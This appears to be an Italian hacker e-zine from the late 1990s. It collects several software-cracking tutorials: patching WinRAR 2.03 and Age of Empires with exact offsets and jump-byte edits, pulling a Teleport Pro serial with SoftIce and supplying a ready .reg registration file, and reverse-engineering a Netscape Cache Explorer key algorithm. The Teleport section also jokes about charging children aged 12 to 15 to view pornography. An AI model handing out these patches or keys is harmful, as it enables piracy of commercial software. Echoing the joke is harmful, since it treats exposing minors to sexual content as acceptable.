(hihhi avevo fottuto Dark Force cosi')...se questo sistema non funziona allora bisogna ricorrere alla creazione di una unita' illusoria... Per fare questo potete usare il comando SUBST; usando SUBST D: C:/TEMP in questo modo l'unita' D sara' identificata colla dir TEMP purtroppo......i programmatori non sono (tanto) stupidi e spesso il gioco vi sgama :(( Se non funzia nemmeno kosi' provate col FAKECD (lo trovate sul sito di newbies), ke poi non e' altro ke l'evoluzione del SUBST Se non funziona nemmeno kosi.......avete 2 possibilita' 1) Leggetevi l'art di ki e' veramente capace di crakkare 2) ....sob....mi spiace dirvelo....ma...sbattetevi a cercare un crack sulla rete oppure chiedete su IRC BBBBYYYYEEEEZZZZZ a tutti e non insultatemi troppo per tutte ste banalita' AnArChY ͻ Ŀ CRACKARE TELEPORT PRO 1.29 ٺ ͼ Ciao raga, sono l'onnipresente Quequero, in questo articolo vi insegnero' a crackare il mitico Teleport Pro 1.29, per chi non lo sapesse il Teleport e' un programmillo che grabba i siti, in pratica legge il sito dalla rete e ve lo copia pari pari sul disco duro con tutti i file e tutto quello che e' linkato, pensate che carino scaricarsi il sito di Quequero e guardarselo offline ;)))) Meglio ancora si puo' usare per grabbare un sito porno hehehehehe, hackatene uno oppure cercate una pass sulla rete, inserite l'user id e la pass nel Teleport, selezionate il tipo di file che volete grabbare (*.jpg, *.jpeg ecc..) e avviatelo, dopo cira 45-50 minuti avrete un bel sitozzo sul vostro amato picci', per cosa lo potreste usare? Per farvi le seghe direte voi, io rispondero' che per quello ci sono le fidanzate (che tralaltro fanno moooolto ma moooolto di piu' ;) e che lo potrete usare per lucrare danaro, mi spiego meglio, fate venire qualche bambinetto a casa vostra (dai 12 ai 15 anni funziona sempre), fatevi dare 10-12 mila lire e fatelo stare davanti al computer per 20-25 minuti, poi lo manderete via, cosi' lui sara' felice e arra**to mentre voi avrete le vostre belle 10k che + altre 10k fanno 20k e con quelle ci comprerete cio' che vorrete, canne, sigarette, vino, preservativi, insomma non ci servo io per dirvi cosa farci ;))) Mmmmmm credo di essere andato fuori tema, aspettate che leggo di cosa doveva parlare l'articolo............Ahhhhh ora rimembro, dovevo insegnarvi a crackare il teleport, allora let'go crack. Aprite il beneamato programma, andate in help|register ed inserite un nome, una compagnia (non serve ma dovete inserire o un carattere oppure uno spazio) ed un numero (questo deve essere un numero come 666111666 non mettete "ciao" altrimenti non funziona). ^D per entrare in softice, mettiamo un bp su getwindowtexta (bpx getwindowtexta) e premiamo F5, facciamo click su ok e sice poppa sul monitor, visto che adesso sta' controllando il nome ripremiamo F5, ora controlla il numero (ve lo avevo detto che company non serviva a un cavolo ;) e premete F11. Arrivati in questo punto dovreste avere qualcosa del genere: :00449D80 FF15C0334600 Call [User32!GetWindowTextA] :00449D86 8B4D10 mov ecx, [ebp+10] :00449D89 6AFF push FF :00449D8B E83A93FFFF call 004430CA :00449D90 EB0B jmp 00449D9D se non e' cosi' riprovate hihihi ;))) A questo punto cancelliamo tutti i bp e mettiamone uno sulla chiamata al l'indirizzo 00449D8B (bpx xxxx:00449D8B), usciamo da sice e ripremiamo "ok", se poppa significa che e' andato tutto bene. Adesso premiamo 3 volte F12 e dovremo avere davanti questo codice: :004246CD 33DB xor ebx, ebx < --- Arriviamo qui :004246CF 6A0A push 0000000A :004246D1 53 push ebx :004246D2 FFB6DD000000 push dword ptr [esi+000000DD] :004246D8 E883620000 call 0042A960 :004246DD 8BE8 mov ebp, eax :004246DF A15C4C4800 mov eax, dword ptr [00484C5C] :004246E4 83C40C add esp, 0000000C :004246E7 38989F020000 cmp byte ptr [eax+0000029F], bl :004246ED 0F8437010000 je 0042482A :004246F3 3BEB cmp ebp, ebx < --- In eax il vero seriale :004246F5 BFD49A4700 mov edi, 00479AD4 :004246FA 7459 je 00424755 < --- salta se e' errato :004246FC FFB6D5000000 push dword ptr [esi+000000D5] Premete 15 volte F10 (in pratica fino a quando la barra bianca va' a finire sopra a "cmp ebp, eax". Ci siete? Credo di si, se qualche cosa cambia anche leggermente e' normale. Vedete l'istruzione all'indirizzo 004246F3 (quella che vi ho fatto raggiungere)? Questa verifica se il codice inserito da noi e' esatto, se ricordate, "cmp" significa "compare" cioe' "confronta", quindi significa che per controllare il nostro serial lo deve verificare con un altro e "l'altro" si trova in eax, per vederlo basta scrivere: ? eax adesso appariranno tre gruppi di numeri, il primo e' il valore di eax in esadecimale, il secondo e' quello decimale ed il terzo e' quello ASCII, voi dovrete prendere il secondo e provare, funziona? A me si, non sto qui a raccontarvi come si cracka il prg perche' e' un po' difficilino pero' date uno sguardo a questo codice: REGEDIT4 [HKEY_CURRENT_USER\Software\Tennyson Maxwell\Teleport Pro\User] "Company"="My House" "Name"="Quequero" "Registration"=dword:4efaf094 cosa ci dovete fare? Prendete un comune file di testo, ci incollate quel codice e rinominate il file come "crack.reg" o come vi pare purche' sia .reg, avviatelo ed ecco che il Teleport si registra a vostro nome (ovviamente dovrete sostituire sia il nome che il numero). Quequero ͻ Ŀ CRACKING, QUESTO SCONOSCIUTO ٺ ͼ Chi di voi non ha mai scaricato un crack? Tu, tu e tu, FUORI! E chi di voi non si e' mai chiesto come venissero fatti questi utilissimi programmini? Ok, voi che avete alzato la mano, fuori anche voi! Chi di voi non sa cos'e' l'assembler, una decompilazione, un offset o un hex-editor? Ok, fuori e non rientrate finche' non vi sarete documentati. Fatta questa breve premessa, bisogna iniziarne un'altra :P Chi vuole diventare un cracker deve sapere le basi. Tutti possono dire "io so cosa e' un crack", ma il cracking vero non e' fatto a scopo di lucro, bensi' solo per sfida o per poter testare un programma a fondo senza essere annoiati da schermate scassapalle con scritto "Registrami!". Se un programma vi piace, COMPRATEVELO! Per esempio, io Windows98 non l'ho comprato ;) ma Commandos si'! Inoltre se volete crackare qualcosa, scaricatevi dei programmi vecchiotti e crackate quelli, per un motivo che vi spieghero' subito. Gli schemi di protezione + o - sono sempre gli stessi: scrivi una password, ammacca OK appena spunta il nag screen, ecc. Mai nessuno progetta delle vere e proprie protezioni sicure dai cracker. Percio' sapendo come crackare le protezioni piu' vecchie, potrete crackare quelle piu' nuove, avendo la necessaria base di conoscenza, visto che le variazioni rispetto alle protezioni piu' vecchie sono minime. Inoltre cercate di crackare dei giochi. Infatti per i giochi mettono SEMPRE protezioni piu' difficili delle altre. Queste protezioni una volta "passate di moda" vengono utilizzate per i comuni programmi shareware. Per fare un esempio ipotetico potreste trovare la protezione di Commandos (che si basa sull'inserimento nel CD originale di file fasulli delle modeste dimensioni di 1 Gb l'uno) nel Photshop 6.0 (che ancora non esiste). Sapendo quindi come si cracka, sarete i primi a rilasciare un crack! Bello no ;) ? Comunque, passiamo in rassegna i principali tipi di protezione e il loro modo di sprotezione: 1) Protezioni con password, serial, o altri codici numerici, alfanumerici o letterali Metodo di sprotezione: Basta disassemblare il tutto e invertire i jump, vi spieghero' cosa vuol dire nel tutorial sul cracking 2) Protezioni con Nag-Screen Bisogna trovare la routine che chiama il Nag e disabilitarla col comando NOP 3) Protezioni con contatori di tempo o di giorni Bisogna trovare il metodo in base al quale fanno salire il contatore. Puo' essere il compare tra una variabile che indica il tempo massimo e il tempo attuale, o altre schifezze... 4) Protezioni su CD o Diskette Cheking, ossia controllo del CD o del dischetto nel drive Basta NOPpare le chiamate ai controlli sui drive o eliminarle del tutto dal codice. 5) Protezioni basate su Dongle (chiave hardware) Ehm...ca**o queste sono difficilotte da crackare, perche' bisogna o emulare le funzioni del dongle via software, o peggio ancora, sono incrackabili se non clonando il dongle...la nostra fortuna e' che produrre chiavi hardware costa molto alle software house, che per ridurre i costi e fare maggiori guadagni si limitano alle pass...tutto a nostro favore ihihihih... 6) Protezioni che disabilitano alcune funzioni del software Un tipo di protezione che, siceramente, non ho mai incontrato. Dai pochi documenti che ho letto su questo argomento ne ho dedotto che sono a volte facili, a volte difficili, ma sinceramente non capisco come si possano attivare delle funzioni...muaH... Io, dal basso della mia esperienza (che vi credete, sono un newbie anche io!! :), posso essere credibile solo per il primo tipo di protezioni, visto che sono le piu' facili, e visto anche che tutti gli altri tipi richiedono il Soft-Ice (che comunque oggi 5/3/1999 mi son fatto passare, grazie N0bodY88 :). Allora, prima di tutto ogni cracker ha i suoi attrezzi. Come ogni bravo artigiano ha seghe, martelli, pialle noi abbiamo disassemblatori, debuggers, hex-editors. I primi servono a disassemblare un programma, ossia decompilare un programma in modo da portarlo in assembler. Avere il listato di un programma in assembler e' utilissimo, visto che grazie al WDasm 8.93 (ovviamente crackato ;), cioe' il nostro disassemblatore di fiducia, possiamo, grazie ad alcune ricerche facili e veloci, scoprire il serial, oppure fare in modo di editare il programma cosi' che qualunque pass noi mettiamo il programma la accetta. Immaginatevi che bello: "Winxxxx Registered to: Serial: i'm an evil cracker and hax0r" che figurone con gli amici no? Il debugger e' una cosa ESSENZIALE nei crack piu' difficili. Infatti grazie al debugger (il migliore e' senza dubbio il Soft-Ice) possiamo impostare dei Breakpoint detti in gergo BPX, ossia delle "interruzioni su procedura", ossia interruzioni che si verificano al momento di inserire il codice o altro. Per esempio se noi al prompt nostro Soft-Ice scriviamo "BPX GetWindowTextA" appena verra' chiamata la procedura GetWindowTextA (che e' una procedura di una API di Windows, che serve a prendere un testo da una dialog) il debugger blocchera' tutto mostrandovi quello che il programma da crackare stava per fare...cosi' che voi possiate agire di conseguenza :) Gli hex-editors, beh, se non li conoscete ritiratevi, il mestiere di cracker non fa per voi. Ma passiamo adesso al tutorial!!! TUTORIAL No.1: COME CRACKARE IL WINRAR95.EXE (VER 2.03) Mmm, la prima cosa da fare e' procurarsi i necessari tools. Andate al sito www.crackstore.com e nella sezione tools scaricatevi il Wdasm 8.93 e l'Hiew 6.00. Se ci sono versioni piu' recenti non fate i lamer0ni e dite "ahhhhh non e' quello che hai detto tu percio' non lo prendo", ma arraffateli lo stesso. Allora, dopo avere preso i proggie installateveli (ossia scompattateli dove vi pare e piace) e createvi due copie di WINRAR95.EXE, una la chiamate WINRAR95. e un'altra WINRAR95.W32. Adesso aprite il Wdasm, premete il primo bottone sulla toolbar (che sarebbe apri file da disassemblare), andate nella directory del WinRAR e disassemblate il file WINRAR95.W32. Finita la disassemblazione attivate il WINRAR95.EXE e cercate di registrarvi inserendo Username e Password a vostro piacimento (io, tanto per farvelo sapere, metto sempre come Username Satana e come Password 666). A meno che non abbiate un kulo di dimensioni bibliche vi apparira' una finestrella con scritto "Registration Failed". Memorizzate o scrivetevi il messaggio della finestra di testo e tornate al Wdasm. Cliccate sul penultimo bottone, quello con scritto "Strn Ref". La pressione di questo bottone fara' apparire la lista delle stringhe di testo inserite nel programma. Fra queste cercate il vostro "Registration Failed" e fateci doppio clic. Noterete che il cursore si spostera' ad una certa riga, chiudete la finestrella delle String References e salite di un paio di righe con freccia su. Vi faccio lo schemino di come dovrebbe essere il vostro schermo a questo punto: * Possible Reference to String Resource ID=00106: "Registration Failed" | :00413A8F 6A6A push 0000006A :00413A91 E863640000 call 00419EF9 e poi altre tre righe. Adesso abbiamo trovato il posto dove andate a finire quando immettete una pass sbagliata. E qui entra in gioco uno dei principi fondamentali dell'assembler: i programmi vengono letti dall'alto in basso. Questo significa che il jump che dobbiamo cambiare sara' SEMPRE prima della stringa "Registrazione fallita". Quindi saliamo col cursore per un po' di righe. Ad un certo punto ci troveremo davanti ad una schermata interessante: * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:00413A51(C) | :00413A6D 8D9554FFFFFF lea edx, dword ptr [ebp+FFFFFF54] altre righe di codice... :00413A82 74DF jne 00413AB3 Questo "Referenced by..." imparerete ad amarlo. Significa che tutta la serie di procedure che dicono che il vostro serial fa schifo partono proprio dal "Jump if not equal" 00413A82...eheheheheh...Abbiamo quasi finito. In pratica questo jne vuol dire questo: se il codice e' diverso da quello giusto, vai e dimmi che non va. Allora, qui sta il crack: cambiamo il jne in je. In pratica: se il codice e' diverso da quello giusto, registrami...adesso selezionate con il cursore la riga con jne. La riga evidenziatrice passera' da blu a verde. Adesso guardate in fondo alla finestra di Wdasm, dovrebbe apparire una riga piu' o meno cosi': Line:35097 Pg 702 and 703 of 1501 Code Data @: 00413A82 @Offset 00013082h in File:Winrar95.w32 Segnatevi l'offset togliendo tutti gli zeri e la h finale (13082) e aprite Hiew. Andate nella dir del WinRar e aprite il file WINRAR95.EXE. Appariranno una serie di strani caratteri e altre porcherie, ma voi che siete cracker premete F4, selezionate DECODE e premete Invio. Magia! Appare il codice assembler di WINRAR! Premete F5, inserite il vostro offset, ossia 13082, e premete Invio. Vi apparira' una schermata del genere: .00413A82: 752F jne .000413AB3 -------- (1) .00413A84: 6A30 push 030 Il 75 sara' selezionato, e voi premendo F3 lo potrete cambiare. Cambiatelo in 74, premete F9 e poi F10. Allora, spighiamo cio' che abbiamo fatto: cambiandolo in 74 abbiamo inserito un "je", quindi abbiamo crackato il programma in modo che accetti ogni pass. Con F9 abbiamo salvato e con F10 siamo usciti da Hiew. Adesso arriva la prova finale...eseguite WINRAR95.EXE e immettete un qualunque Username e Password, a vostra scelta. Se appare la scritta "Thanks for supporting", siete a cavallo! Il programma e' crackato, FESTA, EVVIVA! Chiudete e riavviate il WINRAR: bum, in alto e' riapparsa la scritta (evaluation copy)...DOH...ma cosa puo' essere successo? Semplice, se il codice non e' quello giusto, il programma si registra comunque, ma rimane la scritta (evaluation copy) in alto, e cio' non e' professionale! Allora, compito per casa: togliete la scritta! Per aiutarvi vi dico che servono ancora le String Reference e il cambio di un jump...se non ci riuscite al primo colpo, andate a tentativi: cambiate prima un jump, poi un altro e cosi' via. Se proprio non doveste riuscirvi, nel prossimo numero di Newbies ci sara' la soluzione... SpYmAsTeR (or SpYm4sT3R) spymaster99@iname.com (P.S. per N0bodY: ho una correzione, nello scorso numero avete che scritto che per velocizzare i dcc bisogna scrivere /pdcc 99999999999, ma la miglior combo e' questa: prima si mette /fsend on e poi /pdcc 2147483647 il numero 2147483647 e' il migliore in assoluto, e' il valore massimo possibile, mentre 999999999 lo ridurrebbe...e stai trankuillo che funzia di brutto...2.5 Kb/sec su dcc...con 3 explorer e 2 dload aperti) ͻ Ŀ CRAKKIAMO AGE OF EMPIRES ٺ ͼ Disclaimer: Non mi ritengo responsabile per l'utilizzo delle tecniche sotto riportate ecc. ecc. ecc. Non mi rompete per eventuali errori, stronzate e altre cose dette. Dedicato a: il mio amico Dantuccio Alighierucci, il mitico NObodY88 poi a . . . a . . . si a tutti i tipi di hackernow (ci venite al FuturShow???), ma siii pure a Demonio-- un lameraccio che mi nukka sulla 139 ogni volta che mi vede ! Strumenti necessari: Age of empires, Windasm 8,9 o sup, Hiew 5.9 o sup, dose di culo. A cosa servono ?? Age of empires e' scontato, windasm serve a disassembrare il file .exe mentre hiew serve a modificarlo. Allora per prima cosa un salve a tutti, per seconda un grazie a NObodY88 che mi ha permesso di pubblicare questo articolo. Con questo tutorial intendero' spiegarvi come riuscire a crakkare il famoso (anche se un po' vecchio) gioco age of empires che normalmente richiede il cd per essere eseguito pur avendo tutti i file necessari su hd (dopo averlo crakkato non sentirete la musica che sta sul cd). Premetto che per riuscire a capire quanto e' detto sotto non e' necessario essere esperti. Per cominciare, recuperate gli strumenti necessari che sono sopra descritti. Non e' difficile recuperarli. Potete provare sui maggiori motori di ricerca. Dopo aver installato il gioco con l'installazione completa, aprite gestione risorse di windozoz, andate nella dir del gioco e fate una copia del file empires.exe. Il nuovo file creato sara' un file di backup in modo tale che se il crakkaggio vi va a merda non dovete reinstallare il gioco. Fatto ? Aprite windasm e selezionate la copia del file empires.exe Il programma provvedera' a disassemblare il file. ( se vi compaiono dei caratteri geroglifici, non vi preoccupate bisogna selezionare il font dal menu file ) Il gioco una volta eseguito controlla che il cd originale di AoE si trovi all'interno del lettore. Il risultato che viene restituito al gioco puo' essere del tipo: 1) Ok puoi girare il cd "originale" di age of empires sta nel lettore 2) Non girare, il bastardo non ha messo il cd originale E' facilmente prevedibile quale e' la conseguenza di questo controllo. Nel caso 1 il gioco partira' regolarmente senza nessun problema. Nel caso 2 il gioco fara' apparire all'utente il solito messaggio del cazzo "inserire il cd..." Il gioco allora in questo procedimento ha utilizzato un jamp condizionato, ovvero un salto che viene compiuto se il cd e' nel lettore Cerchero' di schematizzare: Controllo del cd | | jump condizionato / \ / \ il cd e' originale il cd non e' quello di age of empires | | | | salta al gioco Fa apparire il messaggio ed esce dal gioco Il jump che incontreremo sara' del tipo "jump if equal". Invertendo il salto in "jump in not equal" il gioco, al momento del controllo, partira' se non c'e' il cd nel lettore e fara' apparire il messaggio se il cd si trova all'interno. Allora vediamo un po' come procedere: Andiamo dal menu functions e selezioniamo GetDriveTypeA Clikkiamoci sopra e vi ritroverete sulla stringa n.4D65F6 Vi riporto il codice: ....... :004D65C9 A114455600 mov eax, dword ptr [00564514] :004D65CE 85C0 test eax, eax :004D65D0 7407 je 004D65D9 :004D65D2 B801000000 mov eax, 00000001 :004D65D7 EB7F jmp 004D6658 * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:004D65D0(C) | * Possible StringData Ref from Data Obj ->"CDPath" :004D65D9 6884C65500 push 0055C684 :004D65DE 8B8EAC010000 mov ecx, dword ptr [esi+000001AC] :004D65E4 6A00 push 00000000 :004D65E6 E8D570FEFF call 004BD6C0 :004D65EB 8BF8 mov edi, eax :004D65ED 85FF test edi, edi :004D65EF 7504 jne 004D65F5 :004D65F1 33C0 xor eax, eax :004D65F3 EB63 jmp 004D6658 * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:004D65EF(C) | :004D65F5 57 push edi * Reference To: KERNEL32.GetDriveTypeA, Ord:00DEh QUI! :004D65F6 FF1554267000 Call dword ptr [00702654] :004D65FC 83F805 cmp eax, 00000005 :004D65FF 7404 je 004D6605 :004D6601 33C0 xor eax, eax :004D6603 EB53 jmp 004D6658 ....... ok, ora con la freccetta in su procediamo indietro nel codice fino a trovare: * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:004D65EF(C) Questa stringa ci avverte che si e' giunti in questo punto da un salto al 4D65EF. Allora andiamo da Goto/Goto Code Location, mettiamo 4D65EF e clikkiamo su ok Ora procediamo avanti allo stesso modo di prima fino a che ci ritroveremo sulla stringa: * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:004D65D0(C) Con Goto Code Location andiamo su 4D65D0. Questo e' il jump condizionato che cercavamo. Allora procediamo con la modifica del jump con Hiew. Prima di chiudere windasm prendete nota dell'offset che compare nella riga sottostante al codice che dovrebbe essere questa: Line:393202 Pg 4681 of 7380 Code Data @:004D65D0 @Offset 000D59D0 in File:empires.exe Allora l'offset e' 000D59D0 Apriamo hiew, selezioniamo il file empires.exe. Ora premiamo F4 e su Decode Mode. Ora F5 per effettuare la ricerca dell'offset quindi inseriamo D59D0 (gli 000 possono essere tolti). Ci troviamo avanti ad un jump if equal il cui codice e' 74cb. Allora proviamo ad invertire il salto con un jump if not equal di codice 75cb. Premiamo F3 e al posto di 74 mettiamoci 75. Ora F9 per salvare ed F10 per uscire. E' arrivato il momento della verita' !! Apriamo AoE (rullo di tamburi . . . ) clikkiamo su UN GIOCATORE . . . Ole' crakkaggio riuscito !(ora potete anche restituire il cd al vostro amico). Ok raga' per oggi e' tutto Il prossimo articolo: Come crakkare Virtua Cop II Per i soliti commenti, congratulazioni(mmmmm), proteste e minacce di morte potete sendatemi una mail a devnet@hotmail.com Alla proxima DeViLNeT +++++++++++++++++++++++++++++++++++++++++++ Un breve tutorial sui generatori di chiavi +++++++++++++++++++++++++++++++++++++++++++ by .+MaLaTTiA. // Nota introduttiva: questo tutorial, datato originariamente ottobre 1997, e' stato il mio primo tute pubblicato da +Fravia e la versione originale e' ancora presente, in lingua inglese, all'indirizzo http://www.fravia.org/ nscekey.htm. Qua e la' sono stati aggiunti dei commenti... la traduzione comunque e' abbastanza affidabile, in quanto affidata... al sottoscritto =) Non fatevi ingannare dalla data di questo tute! Per il dovere che deve assolvere (spiegare lo studio di un algoritmo di codifica e la creazione di un generatore di chiavi) e' piu' che adatto allo scopo. Inoltre, per quanto ne so, i programmi citati utilizzano ancora lo stesso algoritmo con alcuni piccoli cambiamenti. Ricordate che in questo e in molti altri settori certe abitudini sono dure a morire! :) // [Netscape Cache Explorer] Salve ragazzi, questo e' un breve tutorial su nsce. Questo programma e' un cache explorer, che mostra tutti i siti che sono stati salvati nella cache di Netscape (c'e' una versione anche per MSIE) divisi per dominio e consente di rivisitarli una volta offline. Io lo trovo particolarmente utile perche' consente anche di salvare questi siti con tutte le immagini e le pagine collegate ricostruendo automaticamente i link in esse presenti affinche' funzionino in locale. Suppongo che siate riusciti a raggiungere questa porzione di codice (ammetto di aver avuto qualche problema, a suo tempo, a trovare il punto giusto - eh, la gioventu'! - anche se era proprio sotto il mio naso... ed era sufficiente utilizzare un bpx messageboxa! :) GRAZIE +Zer0 e +ReZiDeNt per il vostro aiuto!). Ecco il codice che si occupa del controllo: :0041F88F 6A09 push 00000009 :0041F891 8D45F4 lea eax, dword ptr [ebp-0C] :0041F894 50 push eax ** PUSH indirizzo della PW :0041F895 FF7510 push [ebp+10] * Reference To: USER32.GetWindowTextA, Ord:0000h | :0041F898 E84A560000 Call 00424EE7 :0041F89D 83F808 cmp eax, 00000008 ** la pw e' lunga 8 caratteri? :0041F8A0 0F85D5000000 jne 0041F97B ** NO, salta :0041F8A6 6A1F push 0000001F ** SI, vai avanti :0041F8A8 8D45D4 lea eax, dword ptr [ebp-2C] ** indirizzo ** del NOME :0041F8AB 50 push eax :0041F8AC 6A70 push 00000070 :0041F8AE 56 push esi // Breve nota. Non so se ve lo ricordate, ma la funzione API getdlgitemtexta funziona cosi': Declare Function GetDlgItemText Lib "user32" Alias "GetDlgItemTextA" (ByVal hDlg As Long, ByVal nIDDlgItem As Long, ByVal lpString As String, ByVal nMaxCount As Long) As Long la locazione che ci interessa (quella del NOME) e' esattamente il terzo parametro della chiamata alla funzione e, come tale, lo possiamo trovare come terzultima PUSH prima della CALL: quel "PUSH EAX" e' esattamente il terzo parametro della funzione getdlgitemtexta!!! // * Reference To: USER32.GetDlgItemTextA, Ord:0000h | :0041F8AF E80B570000 Call 00424FBF ** leggi il nome :0041F8B4 85C0 test eax, eax ** nome=0 caratteri? :0041F8B6 0F84BF000000 je 0041F97B ** continua a chiedere il nome :0041F8BC 8D45F4 lea eax, dword ptr [ebp-0C] :0041F8BF 50 push eax ** salva la PW :0041F8C0 8D45D4 lea eax, dword ptr [ebp-2C] :0041F8C3 50 push eax ** salva il NOME :0041F8C4 E887020000 call 0041FB50 ** PRIMA CALL IMPORTANTE :0041F8C9 83C408 add esp, 00000008 :0041F8CC 8D45F4 lea eax, dword ptr [ebp-0C] :0041F8CF 50 push eax :0041F8D0 E8FA020000 call 0041FBCF ** SECONDA CALL IMPORTANTE :0041F8D5 59 pop ecx :0041F8D6 A320204300 mov [00432020], eax ** salva il valore :0041F8DB E99B000000 jmp 0041F97B ** torna al programma * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:0041F86F(C) | :0041F8E0 A120204300 mov eax, [00432020] ** valore salvato in precedenza :0041F8E5 3B0510204300 cmp eax, dword ptr [00432010] ** IMPORTANTE! :0041F8EB 743B je 0041F928 *** QUESTO E' IL SALTO BUONO! :0041F8ED 6A50 push 00000050 **** BAD GUY!!! :0041F8EF 8D4584 lea eax, dword ptr [ebp-7C] :0041F8F2 50 push eax :0041F8F3 56 push esi Ok, diamo un'occhiata a queste righe di codice... innanzitutto c'e' un controllo relativo alla password: se essa raggiunge gli 8 caratteri allora comincia l'algoritmo, altrimenti il controllo ritorna all'utente, che puo' inserire altri caratteri per la password. Nel momento in cui la password raggiunge gli 8 caratteri, il programma legge il nome inserito e fa DUE CHIAMATE MOLTO IMPORTANTI: la prima richiede 2 argomenti, ovvero gli indirizzi in cui sono stati salvati il nome e la password, mentre la seconda richiede solo l'indirizzo del nome. Dopo queste due chiamate il controllo viene restituito all'utente e, quando il pulsante Ok viene selezionato, il programma salta all'indirizzo 41f8e0, dove controlla il valore salvato con un altro valore salvato in precedenza alla locazione di memoria 432010. Se date un'occhiata a questa locazione (a vostra scelta, utilizzando l'approccio "live" con SoftIce o il metodo dead listing con Wdsam o IDA), potrete notare che questo valore e' 190h, ovvero 400d. // Altra nota: questo valore e' la chiave su cui si basa l'intero algoritmo di protezione. Essa cambia da una versione all'altra del programma, intenzionalmente in questa sede ho deciso di darvi una chiave vecchia... funziona, ma con una versione del programma che forse non troverete neanche piu' in giro! Tanto non vi interessa sproteggere il programma, ma volete solo imparare le tecniche... vero? :) // Ora sappiamo che c'e' un algoritmo di codifica che utilizza sia il nome sia la pw per creare un solo numero, che dev'essere per forza 400. Hmmm... allora in questo caso NON ABBIAMO la password gia' pronta (ahivoi, in questo caso non funziona il trucco "data window" :)), ma dobbiamo fare un patch del programma O creare un generatore di chiavi. Poiche' il modo piu' semplice sembrava essere l'approccio "distruttivo", decisi di cambiare il "74 3b" alla locazione di memoria 41f8eb in un "eb 3b" e provai a registrare il programma con una pw qualsiasi: beh, la dialog box mi disse che la pw era giusta (adoro questo lavoro!)... ma sfortunatamente il programma NON era registrato... argh... forse qualche altro controllo... ma, essendo davvero TERRIBILMENTE pigro, ho deciso di cambiare approccio e cercare di dare un'occhiata all'algoritmo di codifica... BAMBINI, NON FATELO A CASA!!! :) Questa e' una PESSIMA pratica, nel cracking e nella programmazione! Proseguite sempre nella convinzione delle vostre decisioni, come insegna +ORC! (piccolo inciso: "ah, quante volte in gioventu' ci si e' trovati davanti ad esami in cui si cambiava esercizio di continuo, e alla fine non si combinava niente! :)). Infatti, il lavoro non e' stato affatto semplice come speravo, ma ho imparato un sacco da esso: quindi ho deciso di insegnarvi il modo in cui si prepara un bellissimo generatore di chiavi, sperando che questo algoritmo venga utilizzato ancora :) (un suggerimento: se date un'occhiata a MSIE cache explorer, noterete che esso utilizza lo STESSO IDENTICO algoritmo, semplicemente con una chiave finale diversa: 192h anziche' 190h... si sono sforzati, eh! ;)). Ora parliamo dei generatori di chiavi: la prima cosa che bisogna fare e' leggere il codice e cercare di capire esattamente cosa succede. Ora, diamo un'occhiata alla PRIMA delle due call importanti, quella all'indirizzo 41fb50: :0041FB50 55 push ebp :0041FB51 8BEC mov ebp, esp :0041FB53 83C4F8 add esp, FFFFFFF8 :0041FB56 53 push ebx :0041FB57 56 push esi :0041FB58 57 push edi :0041FB59 8B7508 mov esi, dword ptr [ebp+08] :0041FB5C 8BDE mov ebx, esi :0041FB5E 56 push esi * Reference To: KERNEL32.lstrlenA, Ord:0000h | :0041FB5F E8CF520000 Call 00424E33 :0041FB64 83F808 cmp eax, 00000008 ** eax=lunghezza del nome :0041FB67 7305 jnb 0041FB6E * Possible Reference to String Resource ID=00008: "%d Object(s) selected" | :0041FB69 B808000000 mov eax, 00000008 * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:0041FB67(C) | :0041FB6E 33C9 xor ecx, ecx :0041FB70 8D55F8 lea edx, dword ptr [ebp-08] ** NUOVO INDIRIZZO * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:0041FB7B(C) | :0041FB73 C60200 mov byte ptr [edx], 00 :0041FB76 41 inc ecx :0041FB77 42 inc edx :0041FB78 83F908 cmp ecx, 00000008 :0041FB7B 72F6 jb 0041FB73 ** Con questo ciclo il programma libera dello spazio a partire da un nuovo indirizzo in memoria "azzerando" le locazioni... uhmmm... perche'? Quando si usa il comando "mov" non e' necessario liberare prima dello spazio... proseguiamo: :0041FB7D 33C9 xor ecx, ecx :0041FB7F 3BC1 cmp eax, ecx :0041FB81 761A jbe 0041FB9D * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:0041FB9B(C) | :0041FB83 8BD1 mov edx, ecx :0041FB85 83E207 and edx, 00000007 :0041FB88 8D7C15F8 lea edi, dword ptr [ebp + edx - 08] :0041FB8C 8A13 mov dl, byte ptr [ebx] :0041FB8E 0017 add byte ptr [edi], dl ** Ecco perche'!!! Il programma non usa MOV, usa un ADD!!! :) :0041FB90 43 inc ebx :0041FB91 803B00 cmp byte ptr [ebx], 00 :0041FB94 7502 jne 0041FB98 :0041FB96 8BDE mov ebx, esi * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:0041FB94(C) | :0041FB98 41 inc ecx :0041FB99 3BC1 cmp eax, ecx :0041FB9B 77E6 ja 0041FB83 OK... cosa fa questo ciclo? L'istruzione alla locazione di memoria 41fb8c copia il valore della n-esima lettera della stringa nel registro DL, quindi questo valore viene aggiunto nelle locazioni contenute in edi (queste sono esattamente le locazioni che erano state azzerate in precedenza!). Questa procedura viene ripetuta finche' non si raggiungono 8 caratteri (se la stringa e' di lunghezza inferiore o uguale a 8 caratteri), o finche' TUTTI i caratteri della stringa non vengono inseriti nello spazio in memoria, ricominciando dalla prima locazione di memoria quando se ne raggiunge il fondo. +Zer0 --> becomes in memory --> +Zer0+Ze MaLaTTiA --> remains --> MaLaTTiA +ReZiDeNt --> becomes in memory --> *ReZiDeN Il carattere rappresentato dall'asterisco corrisponde al valore ASCII 159, cioe' 43 ("+") sommato a 116 ("t"). Ne risulta che alla fine di questa porzione di codice abbiamo una stringa di 8 caratteri che e' stata costruita a partire dal nome che abbiamo inserito... Vediamo cosa fa il programma adesso: * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:0041FB81(C) | :0041FB9D 33C9 xor ecx, ecx :0041FB9F 8B450C mov eax, dword ptr [ebp+0C] ** INDIRIZZO ** DELLA PW :0041FBA2 8BD8 mov ebx, eax :0041FBA4 8D75F8 lea esi, dword ptr [ebp-08] ** NUOVA STRINGA * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:0041FBC6(C) | :0041FBA7 33C0 xor eax, eax :0041FBA9 8A06 mov al, byte ptr [esi] ** sposta l'n-esima ** lettera :0041FBAB BF1A000000 mov edi, 0000001A 